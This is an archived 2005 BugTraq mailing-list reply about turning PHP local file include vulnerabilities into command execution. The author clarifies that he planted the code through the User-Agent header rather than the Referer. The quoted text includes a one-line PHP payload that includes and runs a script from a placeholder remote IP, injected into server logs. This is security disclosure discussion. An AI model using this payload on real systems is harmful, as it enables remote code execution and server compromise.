BugTraq
using php local file include vulnerabilities for command execution Oct 11 2005 04:34PM
Andreas Zeidler (az zitc de) (1 replies)
Re: using php local file include vulnerabilities for command execution Oct 11 2005 05:44PM
Andreas Zeidler (az zitc de)
On Tue, Oct 11 18:34, Andreas Zeidler <az (at) zitc (dot) de [email concealed]> wrote:
> the idea that hit me before falling asleep was to send the code i needed
> (like <?php include('http://xx.xx.xx.xx/script.php'); ?>) via the
> referer string, this way having the web server write it into a file

well, i actually used the user-agent here, not the referer. but i guess
unless the server checks if the given referer represents a valid url i
won't make much difference...

> andi

--
zeidler it consulting - http://zitc.de/ - info (at) zitc (dot) de [email concealed]
karl-kunger-str 59 - 12435 berlin - telefon +49 30 25563779
keine softwarepatente in europa! - http://noepatents.eu.org/

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus